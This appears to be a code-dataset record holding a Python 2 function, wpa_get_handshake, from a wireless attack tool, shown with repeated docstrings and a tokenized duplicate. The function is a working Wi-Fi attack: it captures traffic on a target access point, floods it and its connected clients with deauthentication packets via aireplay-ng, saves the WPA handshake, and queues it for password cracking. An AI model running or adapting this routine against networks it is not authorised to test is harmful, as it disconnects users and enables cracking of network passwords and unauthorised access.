(iface, target, clients)
return got_handshake
Opens an airodump capture on the target, dumping to a file.
        During the capture, sends deauthentication packets to the target both as
        general deauthentication packets and specific packets aimed at connected clients.
        Waits until a handshake is captured.
            "iface"   - interface to capture on
            "target"  - Target object containing info on access point
            "clients" - List of Client objects associated with the target
        Returns True if handshake was found, False otherwise
Opens an airodump capture on the target, dumping to a file.
        During the capture, sends deauthentication packets to the target both as
        general deauthentication packets and specific packets aimed at connected clients.
        Waits until a handshake is captured.
            "iface"   - interface to capture on
            "target"  - Target object containing info on access point
            "clients" - List of Client objects associated with the target
        Returns True if handshake was found, False otherwise
Opens an airodump capture on the target dumping to a file . During the capture sends deauthentication packets to the target both as general deauthentication packets and specific packets aimed at connected clients . Waits until a handshake is captured . iface - interface to capture on target - Target object containing info on access point clients - List of Client objects associated with the target Returns True if handshake was found False otherwise
def wpa_get_handshake(iface, target, clients):
    """
        Opens an airodump capture on the target, dumping to a file.
        During the capture, sends deauthentication packets to the target both as
        general deauthentication packets and specific packets aimed at connected clients.
        Waits until a handshake is captured.
            "iface"   - interface to capture on
            "target"  - Target object containing info on access point
            "clients" - List of Client objects associated with the target
        Returns True if handshake was found, False otherwise
    """
    global RUN_CONFIG

    if RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
    
    # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
    save_as = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
              + '_' + target.bssid.replace(':', '-') + '.cap'
    
    # Check if we already have a handshake for this SSID... If we do, generate a new filename
    save_index = 0
    while os.path.exists(save_as):
        save_index += 1
        save_as = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
                         + '_' + target.bssid.replace(':', '-') \
                         + '_' + str(save_index) + '.cap'
        
    # Remove previous airodump output files (if needed)
    remove_airodump_files(RUN_CONFIG.temp + 'wpa')
    
    # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
    try:
        # Start airodump-ng process to capture handshakes
        cmd = ['airodump-ng', 
              '-w', RUN_CONFIG.temp + 'wpa', 
              '-c', target.channel, 
              '--bssid', target.bssid, iface]
        proc_read = Popen(cmd, stdout=DN, stderr=DN)
        
        # Setting deauthentication process here to avoid errors later on
        proc_deauth = None
        
        print ' %s starting %swpa handshake capture%s on "%s"' % \
                (GR+sec_to_hms(RUN_CONFIG.WPA_ATTACK_TIMEOUT)+W, G, W, G+target.ssid+W)
        got_handshake = False
        
        seconds_running = 0
        
        target_clients = clients[:]
        client_index = -1
        
        # Deauth and check-for-handshake loop
        while not got_handshake and (RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < RUN_CONFIG.WPA_ATTACK_TIMEOUT):
            
            time.sleep(1)
            seconds_running += 1
            
            print "                                                          \r",
            print ' %s listening for handshake...\r' % \
                  (GR+sec_to_hms(RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W),
            stdout.flush()
            
            if seconds_running % RUN_CONFIG.WPA_DEAUTH_TIMEOUT == 0: 
                # Send deauth packets via aireplay-ng
                cmd = ['aireplay-ng', 
                      '--ignore-negative-one',
                      '-0',  # Attack method (Deauthentication)
                       str(RUN_CONFIG.WPA_DEAUTH_COUNT),  # Number of packets to send
                      '-a', target.bssid]
                
                client_index += 1
                
                if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
                    print " %s sending %s deauth to %s*broadcast*%s..." % \
                             (GR+sec_to_hms(RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G+str(RUN_CONFIG.WPA_DEAUTH_COUNT)+W, G, W),
                    client_index = -1
                else:
                    print " %s sending %s deauth to %s... " % \
                             (GR+sec_to_hms(RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, \
                              G+str(RUN_CONFIG.WPA_DEAUTH_COUNT)+W, \
                             G+target_clients[client_index].bssid+W),
                    cmd.append('-h')
                    cmd.append(target_clients[client_index].bssid)
                cmd.append(iface)
                stdout.flush()
                
                # Send deauth packets via aireplay, wait for them to complete.
                proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
                proc_deauth.wait()
                print "sent\r",
                stdout.flush()
            
            # Copy current dump file for consistency
            if not os.path.exists(RUN_CONFIG.temp + 'wpa-01.cap'): continue
            copy(RUN_CONFIG.temp + 'wpa-01.cap', RUN_CONFIG.temp + 'wpa-01.cap.temp')
            
            # Save copy of cap file (for debugging)
            #remove_file('/root/new/wpa-01.cap')
            #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
            
            # Check for handshake
            if has_handshake(target, RUN_CONFIG.temp + 'wpa-01.cap.temp'):
                got_handshake = True
                
                try: os.mkdir(RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
                except OSError: pass
                
                # Kill the airodump and aireplay processes
                send_interrupt(proc_read)
                send_interrupt(proc_deauth)
                
                # Save a copy of the handshake
                rename(RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
                
                print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W)
                RUN_CONFIG.WPA_FINDINGS.append('%s (%s) handshake captured' % (target.ssid, target.bssid))
                RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
                RUN_CONFIG.WPA_FINDINGS.append('')
                
                # Strip handshake if needed
                if RUN_CONFIG.WPA_STRIP_HANDSHAKE: strip_handshake(save_as)
                
                # Add the filename and SSID to the list of 'to-crack'
                # Cracking will be handled after all attacks are finished.
                RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, target.ssid, target.bssid))
                
                break # Break out of while loop
                
            # No handshake yet
            os.remove(RUN_CONFIG.temp + 'wpa-01.cap.temp')
            
            # Check the airodump output file for new clients
            for client in parse_csv(RUN_CONFIG.temp + 'wpa-01.csv')[1]:
                if client.station != target.bssid: continue
                new_client = True
                for c in target_clients:
                    if client.bssid == c.bssid: 
                        new_client = False
                        break
                
                if new_client:
                    print " %s %snew client%s found: %s                         " % \
                           (GR+sec_to_hms(RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
                           G+client.bssid+W)
                    target_clients.append(client)
            
        # End of Handshake wait loop.
        
        if not got_handshake:
            print R+' [0:00:00]'+O+' unable to capture handshake in time'+W
    
    except KeyboardInterrupt: 
        print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
        if attack_interrupted_prompt():
            remove_airodump_files(RUN_CONFIG.temp + 'wpa')
            send_interrupt(proc_read)
            send_interrupt(proc_deauth)
            print ''
            exit_gracefully(0)
            

    # clean up
    remove_airodump_files(RUN_CONFIG.temp + 'wpa')
    send_interrupt(proc_read)
    send_interrupt(proc_deauth)
    
    return got_handshake
def wpa_get_handshake ( iface , target , clients ) : global RUN_CONFIG if RUN_CONFIG . WPA_ATTACK_TIMEOUT <= 0 : RUN_CONFIG . WPA_ATTACK_TIMEOUT = - 1 # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap save_as = RUN_CONFIG . WPA_HANDSHAKE_DIR + os . sep + re . sub ( r'[^a-zA-Z0-9]' , '' , target . ssid ) + '_' + target . bssid . replace ( ':' , '-' ) + '.cap' # Check if we already have a handshake for this SSID... If we do, generate a new filename save_index = 0 while os . path . exists ( save_as ) : save_index += 1 save_as = RUN_CONFIG . WPA_HANDSHAKE_DIR + os . sep + re . sub ( r'[^a-zA-Z0-9]' , '' , target . ssid ) + '_' + target . bssid . replace ( ':' , '-' ) + '_' + str ( save_index ) + '.cap' # Remove previous airodump output files (if needed) remove_airodump_files ( RUN_CONFIG . temp + 'wpa' ) # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) try : # Start airodump-ng process to capture handshakes cmd = [ 'airodump-ng' , '-w' , RUN_CONFIG . temp + 'wpa' , '-c' , target . channel , '--bssid' , target . bssid , iface ] proc_read = Popen ( cmd , stdout = DN , stderr = DN ) # Setting deauthentication process here to avoid errors later on proc_deauth = None print ' %s starting %swpa handshake capture%s on "%s"' % ( GR + sec_to_hms ( RUN_CONFIG . WPA_ATTACK_TIMEOUT ) + W , G , W , G + target . ssid + W ) got_handshake = False seconds_running = 0 target_clients = clients [ : ] client_index = - 1 # Deauth and check-for-handshake loop while not got_handshake and ( RUN_CONFIG . WPA_ATTACK_TIMEOUT <= 0 or seconds_running < RUN_CONFIG . WPA_ATTACK_TIMEOUT ) : time . sleep ( 1 ) seconds_running += 1 print "                                                          \r" , print ' %s listening for handshake...\r' % ( GR + sec_to_hms ( RUN_CONFIG . WPA_ATTACK_TIMEOUT - seconds_running ) + W ) , stdout . flush ( ) if seconds_running % RUN_CONFIG . WPA_DEAUTH_TIMEOUT == 0 : # Send deauth packets via aireplay-ng cmd = [ 'aireplay-ng' , '--ignore-negative-one' , '-0' , # Attack method (Deauthentication) str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) , # Number of packets to send '-a' , target . bssid ] client_index += 1 if client_index == - 1 or len ( target_clients ) == 0 or client_index >= len ( target_clients ) : print " %s sending %s deauth to %s*broadcast*%s..." % ( GR + sec_to_hms ( RUN_CONFIG . WPA_ATTACK_TIMEOUT - seconds_running ) + W , G + str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) + W , G , W ) , client_index = - 1 else : print " %s sending %s deauth to %s... " % ( GR + sec_to_hms ( RUN_CONFIG . WPA_ATTACK_TIMEOUT - seconds_running ) + W , G + str ( RUN_CONFIG . WPA_DEAUTH_COUNT ) + W , G + target_clients [ client_index ] . bssid + W ) , cmd . append ( '-h' ) cmd . append ( target_clients [ client_index ] . bssid ) cmd . append ( iface ) stdout . flush ( ) # Send deauth packets via aireplay, wait for them to complete. proc_deauth = Popen ( cmd , stdout = DN , stderr = DN ) proc_deauth . wait ( ) print "sent\r" , stdout . flush ( ) # Copy current dump file for consistency if not os . path . exists ( RUN_CONFIG . temp + 'wpa-01.cap' ) : continue copy ( RUN_CONFIG . temp + 'wpa-01.cap' , RUN_CONFIG . temp + 'wpa-01.cap.temp' ) # Save copy of cap file (for debugging) #remove_file('/root/new/wpa-01.cap') #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') # Check for handshake if has_handshake ( target , RUN_CONFIG . temp + 'wpa-01.cap.temp' ) : got_handshake = True try : os . mkdir ( RUN_CONFIG . WPA_HANDSHAKE_DIR + os . sep ) except OSError : pass # Kill the airodump and aireplay processes send_interrupt ( proc_read ) send_interrupt ( proc_deauth ) # Save a copy of the handshake rename ( RUN_CONFIG . temp + 'wpa-01.cap.temp' , save_as ) print '\n %s %shandshake captured%s! saved as "%s"' % ( GR + sec_to_hms ( seconds_running ) + W , G , W , G + save_as + W ) RUN_CONFIG . WPA_FINDINGS . append ( '%s (%s) handshake captured' % ( target . ssid , target . bssid ) ) RUN_CONFIG . WPA_FINDINGS . append ( 'saved as %s' % ( save_as ) ) RUN_CONFIG . WPA_FINDINGS . append ( '' ) # Strip handshake if needed if RUN_CONFIG . WPA_STRIP_HANDSHAKE : strip_handshake ( save_as ) # Add the filename and SSID to the list of 'to-crack' # Cracking will be handled after all attacks are finished. RUN_CONFIG . WPA_CAPS_TO_CRACK . append ( CapFile ( save_as , target . ssid , target . bssid ) ) break # Break out of while loop # No handshake yet os . remove ( RUN_CONFIG . temp + 'wpa-01.cap.temp' ) # Check the airodump output file for new clients for client in parse_csv ( RUN_CONFIG . temp + 'wpa-01.csv' ) [ 1 ] : if client . station != target . bssid : continue new_client = True for c in target_clients : if client . bssid == c . bssid : new_client = False break if new_client : print " %s %snew client%s found: %s                         " % ( GR + sec_to_hms ( RUN_CONFIG . WPA_ATTACK_TIMEOUT - seconds_running ) + W , G , W , G + client . bssid + W ) target_clients . append ( client ) # End of Handshake wait loop. if not got_handshake : print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W except KeyboardInterrupt : print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W if attack_interrupted_prompt ( ) : remove_airodump_files ( RUN_CONFIG . temp + 'wpa' ) send_interrupt ( proc_read ) send_interrupt ( proc_deauth ) print '' exit_gracefully ( 0 ) # clean up remove_airodump_files ( RUN_CONFIG . temp + 'wpa' ) send_interrupt ( proc_read ) send_interrupt ( proc_deauth ) return got_handshake